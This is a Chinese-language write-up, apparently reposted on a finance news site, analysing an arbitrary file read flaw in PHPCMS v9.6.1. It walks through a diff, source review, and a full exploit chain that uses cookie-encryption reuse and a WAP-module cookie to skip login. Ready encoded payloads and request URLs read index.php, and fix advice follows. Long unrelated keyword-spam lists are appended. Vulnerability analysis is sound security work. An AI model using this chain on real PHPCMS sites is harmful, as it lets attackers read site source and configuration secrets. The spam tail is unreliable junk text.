您现在的位置:新闻首页>资本 > 讲解PHPCMSv9.6.1任意文件读取漏洞的挖掘和分析过
讲解PHPCMSv9.6.1任意文件读取漏洞的挖掘和分析过
PHPCMS使用教程介绍PHPCMSv9.6.1任意文件读取漏洞的挖掘
(免费):PHPCMS使用教程
看到网上说出了这么一个漏洞,所以抽空分析了下,得出本篇分析。
1.准备工作&漏洞关键点快速扫描1.1前置知识
这里把本次分析中需要掌握的知识梳理了下:
php原生parse_str方法,会自动进行一次urldecode,第二个参数为空,则执行类似extract操作。
原生empty方法,对字符串""返回true。
phpcms中sys_auth是对称加密且在不知道auth_key的情况下理论上不可能构造出有效密文。
1.2 快速扫描
先diff下v9.6.0和v9.6.1,发现phpcms/modules/content/down.php中有如下修改:
--- a/phpcms/modules/content/down.php +++ b/phpcms/modules/content/down.php @@ -14,12 +14,16 @@ class down { $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key')); if(empty($a_k)) showmessage(L('illegal_parameters')); unset($i,$m,$f); + $a_k = safe_replace($a_k);^M parse_str($a_k); if(isset($i)) $i = $id = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); if(!isset($modelid)!isset($catid)) showmessage(L('illegal_parameters')); if(empty($f)) showmessage(L('url_invalid')); $allow_visitor = 1; + $id = intval($id);^M + $modelid = intval($modelid);^M + $catid = intval($catid);^M $MODEL = getcache('model','commons'); $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename']; $this->db->table_name = $tablename.'_data'; @@ -86,6 +90,7 @@ class down { $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key); if(empty($a_k)) showmessage(L('illegal_parameters')); unset($i,$m,$f,$t,$ip); + $a_k = safe_replace($a_k);^M parse_str($a_k); if(isset($i)) $downid = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); @@ -118,6 +123,7 @@ class down { } $ext = fileext($filename); $filename = date('Ymd_his').random(3).'.'.$ext; + $fileurl = str_replace(array('<','>'), '',$fileurl);^M file_down($fileurl, $filename); } }
主要修改了两个方法init()和download(),大胆的猜想估计是这两个函数出问题了。
public function init() { $a_k = trim($_GET['a_k']); if(!isset($a_k)) showmessage(L('illegal_parameters')); $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//关键点1 if(empty($a_k)) showmessage(L('illegal_parameters')); unset($i,$m,$f); $a_k = safe_replace($a_k);//关键点2 parse_str($a_k);//关键点3 if(isset($i)) $i = $id = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); if(!isset($modelid)!isset($catid)) showmessage(L('illegal_parameters')); if(empty($f)) showmessage(L('url_invalid')); $allow_visitor = 1; $id = intval($id); $modelid = intval($modelid); $catid = intval($catid); ...... if(preg_match('/(phpphtmlphp3php4jspdllaspcerasashtmlshtmaspxasaxcgifcgipl)(\.$)/i',$f) strpos($f, ":\\")!==FALSE strpos($f,'..')!==FALSE) showmessage(L('url_error'));//关键点4 if(strpos($f, '关键点5 $downurl = '?m=content&c=down&a=download&a_k='.$a_k; } else { $downurl = $f; } } public function download() { $a_k = trim($_GET['a_k']); $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//关键点6 $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key); if(empty($a_k)) showmessage(L('illegal_parameters')); unset($i,$m,$f,$t,$ip); $a_k = safe_replace($a_k);//关键点7 parse_str($a_k);//关键点8 if(isset($i)) $downid = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); if(!isset($modelid)) showmessage(L('illegal_parameters')); if(empty($f)) showmessage(L('url_invalid')); if(!$i $m<0) showmessage(L('illegal_parameters')); if(!isset($t)) showmessage(L('illegal_parameters')); if(!isset($ip)) showmessage(L('illegal_parameters')); $starttime = intval($t); if(preg_match('/(phpphtmlphp3php4jspdllaspcerasashtmlshtmaspxasaxcgifcgipl)(\.$)/i',$f) strpos($f, ":\\")!==FALSE strpos($f,'..')!==FALSE) showmessage(L('url_error'));//关键点9 $fileurl = trim($f); if(!$downid empty($fileurl) !preg_match("/[0-9]{10}/", $starttime) !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) $ip != ip()) showmessage(L('illegal_parameters')); $endtime = SYS_TIME - $starttime; if($endtime > 3600) showmessage(L('url_invalid')); if($m) $fileurl = trim($s).trim($fileurl);//关键点10 if(preg_match('/(phpphtmlphp3php4jspdllaspcerasashtmlshtmaspxasaxcgifcgipl)(\.$)/i',$fileurl) ) showmessage(L('url_error'));//关键点11 //远程文件 if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) { //关键点12 header("Location: $fileurl"); } else { if($d == 0) { header("Location: ".$fileurl);//关键点13 } else { $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl); $filename = basename($fileurl);//关键点14 //处理中文文件 if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) { $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl)); $filename = urldecode(basename($filename));//关键点15 } $ext = fileext($filename);//关键点16 $filename = date('Ymd_his').random(3).'.'.$ext; $fileurl = str_replace(array('<','>'), '',$fileurl);//关键点17 file_down($fileurl, $filename);//关键点18 } } }
safe_replace函数如下
function safe_replace($string) { $string = str_replace('%20','',$string); $string = str_replace('%27','',$string); $string = str_replace('%2527','',$string); $string = str_replace('*','',$string); $string = str_replace('"','"',$string); $string = str_replace("'",'',$string); $string = str_replace('"','',$string); $string = str_replace(';','',$string); $string = str_replace('<','<',$string); $string = str_replace('>','>',$string); $string = str_replace("{",'',$string); $string = str_replace('}','',$string); $string = str_replace('\\','',$string); return $string; }1.2 content/down模块大致流程分析
init方法中根据原始的$a_k(包含了file_down的文件的基本信息),进行一次验证,并且生成,调用
download方法的url,url的schema为$downurl='?m=content&c=down&a=download&a_k='.$a_k(必须符合一定条件。)
download方法接收到$a_k,进行解码,解出文件信息,调用file_down($fileurl, $filename)( 必须符合一定条件)
我们来看下file_down函数,第一个参数$filepath,才是实际控制readfile的文件名的变量,readfile可以读取本地文件,所以我们构造符合条件的$fileurl绕过上述的限制就可以完成本地文件的读取功能!
function file_down($filepath, $filename = '') { if(!$filename) $filename = basename($filepath); if(is_ie()) $filename = rawurlencode($filename); $filetype = fileext($filename); $filesize = sprintf("%u", filesize($filepath)); if(ob_get_length() !== false) @ob_end_clean(); header('Pragma: public'); header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT'); header('Cache-Control: no-store, no-cache, must-revalidate'); header('Cache-Control: pre-check=0, post-check=0, max-age=0'); header('Content-Transfer-Encoding: binary'); header('Content-Encoding: none'); header('Content-type: '.$filetype); header('Content-Disposition: attachment; filename="'.$filename.'"'); header('Content-length: '.$filesize); readfile($filepath); exit; }1.2.1$fileurl变量构造分析
如果我们要读取站点的.php结尾文件,由于有关键点11存在,$fileurl中不能出现php,不过从关键点17可以看到进行了替换
$fileurl = str_replace(array('<','>'), '',$fileurl);//关键点17
那么可以想到我们构造出符合.ph([<>]+)p的文件后缀,最后会被替换成.php。而且这句线新增的,更加确定了,这个漏洞是9.6.1特有的。
再向上上看
if($m) $fileurl = trim($s).trim($fileurl);//关键点10
变量$m为真,那么我们可以通过引入变量$s来构造$fileurl,且$fileurl由变量$f控制。
$fileurl = trim($f);$a_k = safe_replace($a_k);//关键点7 parse_str($a_k);//关键点8
通过parse_str来extract变量,很容易的得出控制$i,$m,$f,$t,$s,$d,$modelid变量,看到这里我们可以构造$a_k来控制这些变量。
1.2.2$a_k变量分析
再向上看
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//关键点6 $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
这个关键点6很重要,因为这里的$pc_auth_key几乎是不可能暴力出来的,然而得到这个加密的$a_k只有在init()方法中使用了相同的$pc_auth_key。所以我们只能通过init()方法来构造$a_k。
我们现在来看下init方法
$a_k = trim($_GET['a_k']); if(!isset($a_k)) showmessage(L('illegal_parameters')); $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//关键点1
这里可以发现sys_auth的auth竟然是使用系统默认的auth_key,直觉告诉我可能问题出在这里了,除了这个区别,init方法别的逻辑就不再赘述。
1.2.3小结
总结一下:
index.php?m=content&c=down&a=init&a_k=想办法构造出符合条件的。
然后init方法会构造出符合download方法中能够解密的$a_k。
通过对$a_k进行控制,间接控制$i,$f,$m,$s,$d等变量完成漏洞的利用。
2.漏洞挖掘过程2.1 init方法所接受的$a_k构造2.1.1探索正常流程中的$a_k构造过程
对源码进行快速扫描,看看哪些地方能够生产对init方法的调用,其实就是常规的下载模型的逻辑。
phpcms/modules/content/fields/downfile和phpcms/modules/content/fields/downfiles中会生成init方法的$a_k
function downfile($field, $value) { extract(string2array($this->fields[$field]['setting'])); $list_str = array(); if($value){ $value_arr = explode('',$value); $fileurl = $value_arr['0']; if($fileurl) { $sel_server = $value_arr['1'] ? explode(',',$value_arr['1']) : ''; $server_list = getcache('downservers','commons'); if(is_array($server_list)) { foreach($server_list as $_k=>$_v) { if($value && is_array($sel_server) && in_array($_k,$sel_server)) { $downloadurl = $_v[siteurl].$fileurl; if($downloadlink) { $a_k = urlencode(sys_auth("i=$this->id&s=$_v[siteurl]&m=1&f=$fileurl&d=$downloadtype&modelid=$this->modelid&catid=$this->catid", 'ENCODE', pc_base::load_config('system','auth_key'))); $list_str[] = "<a href='".APP_PATH."index.php?m=content&c=down&a_k={$a_k}' target='_blank'>{$_v[sitename]}</a>"; } else { $list_str[] = "<a href='{$downloadurl}' target='_blank'>{$_v[sitename]}</a>"; } } } } return $list_str; } } }
但是分析发现,content_input和content_output逻辑中权限验证和限制逻辑比较完善,基本不存在利用可能。
2.1.2 黑科技构造$a_k
由于是sys_auth是对称加密,那么能不能找个使用相同密钥生成的地方来生成,对sys_auth进行全文搜索,我们找找有没有符合下列条件的上下文
方式是ENCODE
Auth_key是系统默认的即:pc_base::load_config('system','auth_key')
且待加密内容是可控的(可以是我们$_REQUEST的数据,或者可以构造的)
加密后的数据有回显的。
共找到58个匹配项,但是没有符合上下文的,不过我们可以注意到
public static function set_cookie($var, $value = '', $time = 0) { $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0); $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0; $var = pc_base::load_config('system','cookie_pre').$var; $_COOKIE[$var] = $value; if (is_array($value)) { foreach($value as $k=>$v) { setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } } else { setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } } public static function get_cookie($var, $default = '') { $var = pc_base::load_config('system','cookie_pre').$var; return isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default; }
param::set_cookie param::get_cookie 对cookie加密是使用默认的auth_key的。
马上对set_cookie进行全文搜索,并且查找符合下列条件的上下文。
set_cookie的内容是可控的。
set_cookie的触发条件尽可能的限制小。
一共找到122个匹配项,找到了两个比较好的触发点。
phpcms/moduels/attachment/attachments.php中的swfupload_json/swfupload_del方法和phpcms/modules/video/video.php中的swfupload_json/del方法
video模块需要管理员权限,就不考虑了,attachment模块只要是注册用户即可调用。
我们来看下swfupload_json
public function swfupload_json() { $arr['aid'] = intval($_GET['aid']); $arr['src'] = safe_replace(trim($_GET['src'])); $arr['filename'] = urlencode(safe_replace($_GET['filename'])); $json_str = json_encode($arr); $att_arr_exist = param::get_cookie('att_json'); $att_arr_exist_tmp = explode('', $att_arr_exist); if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) { return true; } else { $json_str = $att_arr_exist ? $att_arr_exist.''.$json_str : $json_str; param::set_cookie('att_json',$json_str); return true; } }
我们可以通过src和filename来构造,最终我选的是src,最终形式会是一个json串,当然有多个会以""分割。
我们注册个用户登录之后,调用
index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=fobnn
产生的数据会是
{"aid":888,"src":"fobnn","filename":""}
然后我们得到response.header中的set-cookie ["att_json"]。
1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz
我们修改下down.php->init方法,把DECODE之后的$a_k输出来。
然后我们调用
index.php?m=content&c=down&a=init &a_k=1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz
激动人心,init方法成功DECODE了$a_k
好了目前验证了我们的想法可行,接下来应该构造可用的payload了。
2.2 json和parse_str
目前要解决的就是 从json中parse_str并且能够解析出$i,$m,$f等变量。
{"aid":888,"src":"fobnn=q&p1=12312","filename":""}
解析{"aid":888,"src":"fobnn=q 和p1=12312","filename":""}
说明parse_str还是解析还是可以实现的,前后闭合一下,中间填充我们需要的变量即可,例如
{"aid":888,"src":"pad=x&fobnn=q&p1=12312&pade=","filename":""}
那么fobnn和p1就是正常解析的,src需要URLENCODE提交,这样不会导致php解析错误。
2.3 构造符合init方法的$a_k
我们先构造一个符合init方法的$a_k使得能完成正常的流程。
if(isset($i)) $i = $id = intval($i); if(!isset($m)) showmessage(L('illegal_parameters')); if(!isset($modelid)!isset($catid)) showmessage(L('illegal_parameters')); if(empty($f)) showmessage(L('url_invalid')); $allow_visitor = 1; $id = intval($id); $modelid = intval($modelid); $catid = intval($catid);
构造pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=用来满足条件。
index.php?m=attachment&c=attachments&a=swfupload_json&aid=1 src=pad%3dx%26i%3d1%26modelid%3d1%26m%3d1%26catid%3d1%26f%3dfobnn%26pade%3d
得到
3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ {"aid":1,"src":"pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=","filename":""}
然后提交
index.php?m=content&c=down&a=init &a_k=3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ
成功!页面已经生成了调用download方法的url
</head> <body> <style type="text/css"> body, html{ background:#FFF!important;} </style> <a href="?m=content&c=down&a=download&a_k=a602eCW5tkuTZTtvLeYrcU0kSTKdCLFcNAQ06GE74c9zc6NMUaHAss9zwCa-glxRmBtylSbtrxMNTxy5knsFrZIeC_iCRmj3pTSuQxTHxps3qs4U6pKLIz4y3A" class="xzs_btn"></a> </body> </html>2.4绕过限制构造最终payload
目前正常流程已经走通,把目光集中在如何构造出符合的$fileurl,来看下init方法中
if(preg_match('/(phpphtmlphp3php4jspdllaspcerasashtmlshtmaspxasaxcgifcgipl)(\.$)/i',$f) strpos($f, ":\\")!==FALSE strpos($f,'..')!==FALSE) showmessage(L('url_error')); if(strpos($f, '
对f的限制还是蛮多的,包括常规黑名单检测php,asp等。也不能出现"..",":\"
还好我们看到download函数中
if($m) $fileurl = trim($s).trim($fileurl);//关键点10
我们可以通过控制$m就可以通过$s来构造了,而$m和$s参与了$a_k的构造。
在init方法中我们可以构造 m=1&s=.php&f=index 类似的来绕过init方法的检测,我们把目光聚焦到download方法。
//常规检测代码就不贴了,$i,$t,$m,$modelid,$t,$ip的检测。 if(preg_match('/(phpphtmlphp3php4jspdllaspcerasashtmlshtmaspxasaxcgifcgipl)(\.$)/i',$f) strpos($f, ":\\")!==FALSE strpos($f,'..')!==FALSE) showmessage(L('url_error')); $fileurl = trim($f);
通过这样的构造上面这个检测肯定可以绕过,但发现下面检测就会出问题,最后$fileurl还是会变成index.php
if($m) $fileurl = trim($s).trim($fileurl); if(preg_match('/(phpphtmlphp3php4jspdllaspcerasashtmlshtmaspxasaxcgifcgipl)(\.$)/i',$fileurl) ) showmessage(L('url_error')); //远程文件
好在快速扫描中看到的
$fileurl = str_replace(array('<','>'), '',$fileurl);//关键点17
另外又看到
if($d == 0) { header("Location: ".$fileurl);2.4.1 urlencode编码“<>”
那么构造出 d=1&m=1&f=.p<hp&s=index 这样的payload就可以绕过检测,实现漏洞利用,当然期间涉及一些编码转换就不再赘述了。
最终pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p<hp&s=index&pade=
由于safe_replce的存在所以<会被过滤掉,前置知识中我已经说到parse_str会自动encode一次。
所以可以构造
d=1&m=1&f=.p%3chp&s=index
我们发现在init方法中会safe_replace一次,和parse_str一次。
那么最终编码到download $a_k中的数据实际还是<,而download方法中也会safe_replace和parse_str一次。
所以我们要确保在init方法编码的时候是%3c即可,对%3c进行一次urlencode,构造
d=1&m=1&f=.p%253chp&s=index
当然要读取别的目录的,那同样对目录路径进行编码。
2.4.2最终payload
以读取首页index.php为例
pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade= index.php?m=attachment&c=attachments&a=swfupload_json&aid=1 &src=pad%3dx%26i%3d1%26modelid%3d1%26catid%3d1%26d%3d1%26m%3d1%26f%3d.p%25253chp%26s%3dindex%26pade%3d8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ {"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade=","filename":""}index.php?m=content&c=down&a=init&a_k=8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQindex.php?m=content&c=down&a=download&a_k=e5586zx1k-uH8PRhk2ZfPApV5cxalMnAJy46MpO8iy7DgyxWqwZHqFVpQJTxDmmUJxrF0gx_WRIv-iSKq2Z8YEWc-LRXIrr9EgT-pAEJtGGBUcVCOoI3WlMdxajPdFuIqpsY
最终提示下载文件,文件下载成功,打开来看确实是index.php内容。
2.5绕过attachment模块权限限制完成无限制利用class attachments { private $att_db; function __construct() { pc_base::load_app_func('global'); $this->upload_url = pc_base::load_config('system','upload_url'); $this->upload_path = pc_base::load_config('system','upload_path'); $this->imgext = array('jpg','gif','png','bmp','jpeg'); $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE')); $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0; $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8; //判断是否登录 if(empty($this->userid)){ showmessage(L('please_login','','member')); } }
可以发现
sys_auth($_POST['userid_flash'],'DECODE')
可控制$this->userid且没有复杂的权限校验,而且又是默认AUTH_KEY加密的。
全文找下无限制可以set_cookie的,发现WAP模块可以利用
pc_base::load_sys_class('format', '', 0); class index { function __construct() { $this->db = pc_base::load_model('content_model'); $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1); param::set_cookie('siteid',$this->siteid); $this->wap_site = getcache('wap_site','wap'); $this->types = getcache('wap_type','wap'); $this->wap = $this->wap_site[$this->siteid]; define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid); if($this->wap['status']!=1) exit(L('wap_close_status')); }
没有任何条件限制我们可以$_GET['siteid']来控制param::set_cookie('siteid',$this->siteid),且默认都有WAP模块的文件,但不需要开启。
3.EXP编写
流程如下:
index.php?m=wap&c=index&siteid=1 获取名称为siteid的cookie。
访问index.php?m=attachment&c=attachments&a=swfupload_json&aid=1
&src=想要读取文件的payload,并且访问的时候设置post字段userid_flash为步骤一获取的cookie.
响应成功之后,获取名称为att_json的cookie
访问index.php?m=content&c=down&a=init&a_k=获取到的att_json,来构造最终漏洞利用路径,
可以直接截取生成的$a_k
访问index.php?m=content&c=download&a=init&a_k=截取的$a_k.完成利用。
4.修复方案
init方法中的$a_k 加解密sys_auth不要采用默认密钥。
file_down之前对$fileurl再做一次过滤。
-
经济 业界 推荐 美圆指数 29美元 福汇外汇 港币兑换美元 公信宝 币世界 ok币 加拿大元汇率 金条价格走势 ok交易所 白银套利 ppi指数 金价走势分析 中币交易所 玩客币行情 港币兑美元 马来西亚货币 今日复明日 旧日噩梦 bullish 海曼明斯基 绿天鹅 黄金行情走势 汇率日元 火币pro 莱茨狗 fx57 美元价格 币世界快讯 金价格走势图 隔夜利率 全球货币战争 波场tron 2199美元 stdaily 伊朗油价 国际石油行情 btcchina 美元日元汇率 恒生指数实时 大立光股票 回升 hc币 夏盈盈 希腊公投 市场黄金价格 黄金k线走势图 蜡烛图 单均线交易 日元美元 国际油价趋势 比特币白皮书 2012年金价走势 usdt 白银价钱 今日石油价格 fx1800 缩表 油价走势 台股 sdag 杨林科 港币汇率 明斯基时刻 猛烈打压 stellar 隔夜美股行情 白银行情 dp1s 油价 微比特 meiyuan 香港恒生指数 成交量分析 白银比例 实时行情 白银 国际石油 ltc是什么币种 美元指数走势 期货实时行情 美元兑澳元 中期选举 美元指数dini rsi指标 美金兑港币 谦益农业 硬币回收价表 今天美元走势 太一云 间谍车 加元汇率 国际石油价格 意大利国债 澳元走势预测 btc挖矿 美原油行情 即时外汇 制造业指数 澳元汇率 美国股市休市 下周美元走势 欧债 玩客云 美原油连 道琼指数 币种 美元汇率走势 文章档案 外汇止损多少 以太 挖矿 vshen 极路由hiwifi 汇丰pmi adx 美元兑日元 全球央行年会 btm 空投 安币交易所 chaobi otc交易平台 金价 标普500期货 加币汇率走势 日元兑换美元 伦敦铜价 著名财经 国际油价查询 etc 外汇学习 美债收益率 阿希币 pEE币 什么是头寸 纽交所 钻石底 德国30 799澳元 持仓报告 玩客 原油走势图 港股恒生指数 欧元下跌 420欧元 金子价格 加元走势图 1.11111E+11 xrp 美元指数k线图 金价走势预测 最新黄金价格 铜价格走势图 黄金降价 汇率欧元 金针探底 原油成本 美元 strllar 泰奇猫 圈牌 金价走势 以太币 lme铜实时行情 eos价格走势 欧元兑美金 外汇基本知识 联邦基金利率 伦敦银走势图 基本面分析 空头回补 云鱼 py6是什么货币 rsi指标详解 265万澳元 国际油价格 gateio wti原油走势图 门罗币 白银价格走势 欧盟财长会议 外汇咨询 交叉盘 外汇初学 房价指数 cbt 比特股 ltc 隐私政策 石油危机 日圆汇率 英国股市指数 原油最新价格 行情报价 自动减支 黄金市场价 全球指数 imtoken 币投资 10美金 eos币价格 相对强弱指标 黄金年走势图 美原油 加元美元 虚拟币 值多少钱 国际油价 外汇哈里森 外汇交易分析 白银价格分析 日bi btcc 标准普尔500 wti原油价格 zbcom 和币 度宇宙 技术指标分析 全球股市指数 币久 白银价格趋势 克龙 银行回收硬币 hiwifi 贝尔链 美元兑换欧元 后座议员 黄金市场行情 德拉基讲话 UES 道琼斯k线图 美元对日元 k线图分析 恒生指数 英国脱欧时间 港股指数 比特币之父 bin 今日原油 jinjia 日经225指数 比特币价格 英镑汇率 742 大立光 外汇走势 上吊线 趣步APP被调查 肖野 理财三 铜走势图 艾达 吞阳 coinex 欧元美金 赵长鹏 法郎汇率 9g游戏 英国脱欧结果 硅谷bbs 俄罗斯火星人 铜价 什么叫头寸
-
放学 朋友 k线图解读 招生 仅数 金价走势分析 隔夜利率 投资性需求 比特币交易 btc行情 货币狼烟 美国国债利率 29美元 当天 游戏 创造 违法 市场黄金价格 美国原油 伊朗油价 欧盟会议 港元兑美元 蝴蝶币 纽币汇率 非美货币 顾比均线 港元汇率 日内交易者 港币美元汇率 白银对冲套利 英格兰银行 美伊关系 外汇止损多少 币世界快讯 中币交易所 获赔 鲜 坍塌 希腊公投 xunleiyun 关于黄金交易 欧元走势 标准普尔500 极路由hiwifi 日圆汇率 国际油价趋势 空投 ok交易所 推荐 老赖 用户 总决赛 开业 美国总统 好酒 经济 英文 猛烈打压 2199美元 兑美元 什么是头寸 20日元 石油走势 dragon 欧美黄金 南非兰特 瑞波币 引而不发 sleepfx失效 27亿美金 黄金etf是什么 台湾股票查询 恒生指数 恒生指数实时 fx57 今日复明日 谦益农业 播控云 以为 一层 猫日 揭秘 专业 慈善 关键 青年 75人 退出 财务省 效率 攻坚战 姐姐 客户端 网售 国际石油 绿天鹅 黄金k线走势图 白银价格趋势 张思聪 港币汇率 马来币 国际油价查询 金条价格走势 上升楔形 欧债 2599澳元 一级市场 威比特 美联储缩表 19929日元 德国股票指数 bkex 美国油价 港币兑换 铜期货 日经225 美元最近走势 wti原油价格 外汇走势 港股指数 比特币价格 持仓报告 美元指数k线图 制造业指数 即时外汇 白银价格走势 吞阳 成交量分析 比特币之父 国际石油价格 杨林科 hc币 otc交易平台 阿希币 2012年金价走势 ok币 糖果空投 贫富悬殊 提问 513部队 开建 四型 沦丧 师生 消防员 打印机 宽松 联手 火锅 提高 中考 根据 考场 灵魂 依法 房屋 电线 匹克 秦岭 进一步 骑行 这么 瘦领型 半裙 连接 突尼斯 送医 多门 汽车业 达州 连衣裙 由于 将于 千万 好不好 户型 行业 体育用品 下周美元走势 国际油价 以太坊 stdaily 今天美元走势 黄金行情走势 法国cac 加拿大元汇率 著名财经 印度卢比 bullish 传产 挖比特币 澳元兑美元 环球股指汇总 黄金白银价格 外汇交易策略 加拿大元走势 外汇风险管理 美金对港币 台湾加权指数 道琼斯工业 日元美元汇率 zbcom 欧洲峰会 技术指标分析 欧元美金 美元兑换欧元 265万澳元 相对强弱指标 理财三 俄罗斯火星人 标普500期货 欧元兑美金 外汇交易分析 美原油连 10美金 美元兑日元 虚拟币 艾达 币种 加元汇率 美元价格 中期选举 国际油价格 云鱼 strllar 油价走势 最新黄金价格 泰奇猫 美元兑澳元 全球货币战争 sdag 以太 安币交易所 加币汇率走势 美元日元汇率 间谍车 玩客云 硬币回收价表 美国股市休市 币世界 墨西哥 律师 野蛮生长 微博 副市长 罪证 协商 最高 多好 妻子 真 手术室 欧冠 扰民 热情 两男 成都 刷屏 21600 模式 摄像头 代人 更要 精神 顺序 家装 质量 更好
-
朋友 ok交易所 港币兑美元 绿天鹅 美元兑日元 业界 希腊公投 海曼明斯基 dp1s 波场tron 推荐 汇率日元 恒生指数实时 29美元 2199美元 ppi指数 加拿大元汇率 美元指数k线图 2012年金价走势 今日复明日 仅数 极路由hiwifi fx57 ok币 jinjia 513部队 火锅 隔夜利率 玩客币行情 火币pro 美圆指数 币世界 攻坚战 经济 印度卢比 币世界快讯 明细 金价格走势图 金条价格走势 俄罗斯火星人 黄金k线走势图 港币兑换美元 钻石底 有限公司 发表声明 stdaily 杨林科 你吗 回升 下周美元走势 市场黄金价格 fx1800 国际石油价格 玩客云 1199元 金价走势分析 白银价格趋势 外汇趋势分析 12334 即时外汇牌价 原油最新价格 btc挖矿 meiyuan 美原油行情 意大利国债 19929日元 持仓报告 道琼指数 油价走势 空投 3号 宽松 首登 日本 效率 体育用品 蜡烛图 福汇外汇 fx 比特币挖矿机 缩表 门罗币 美元日元汇率 间谍车 谦益农业 莱茨狗 微比特 老赖 鲜 创造 关于黄金交易 w底形态 香港恒生指数 安币交易所 永久 3人 匹克 突尼斯 今日石油价格 bullish 瑞士货币 铜价 zbcom 圈牌 美原油连 日圆汇率 otc交易平台 当天 成鬼 处去 对比 财务省 今天美元走势 著名财经 欧债 今日恒生指数 白银价格分析 coinex 后座议员 外汇走势 btcc 外汇止损多少 比特币白皮书 外汇学习 英国股市指数 币种 中币交易所 最新黄金价格 全球货币战争 hc币 完全 胳膊 29日 查询 白银 房价指数 国际石油行情 美国国债利率 火币比特币 全球股市指数 基本面分析 cbt 金价 日元美元 btcchina 军事 强国 罪证 40年 交警 用户 发布 着力点 大立光股票 港币汇率 黄金行情走势 gasstation g7集团 欧元兑美金 pEE币 黄金年走势图 usdt 美国股市休市 金子价格 驱逐舰 靓号 驾校 救援 草色 搭载 代人 他来 普爱 国企 核实 姐姐 班主任 包括 行情报价 白银套利 隔夜美股行情 白银价钱 伊朗油价 拜登大胜 黄金etf是什么 wti原油价格 黄金市场行情 德国30 伦敦银走势图 联邦基金利率 10美金 原油走势图 vshen 美元指数走势 阿希币 fashion 腾讯 怎样 顺序 慈善 又放 明斯基时刻 单均线交易 汇率欧元 什么是头寸 2599澳元 股市行情图 原油成本 eos币价格 外汇咨询 英国脱欧时间 金价走势预测 hiwifi 值多少钱 制造业指数 成交量分析 台股 澳元走势预测 以太 国际油价趋势 硬币回收价表 美元 总决赛 打我 网售 汇丰pmi 白银行情 今日日历 外汇交易头寸 标准普尔500 欧元下跌 恒生指数 外汇交易分析 国际油价格 空头回补 泰奇猫 太一云 公信宝 福州 获赔 地方 青年 多门 一条 Find 京东 千万 外汇哈里森 国际油价 猛烈打压 自动减支 美金兑港币 白银比例 欧盟财长会议 美元汇率走势 eos什么意思 瑞士法郎汇率 k线图解读 742 技术指标分析 欧元美金 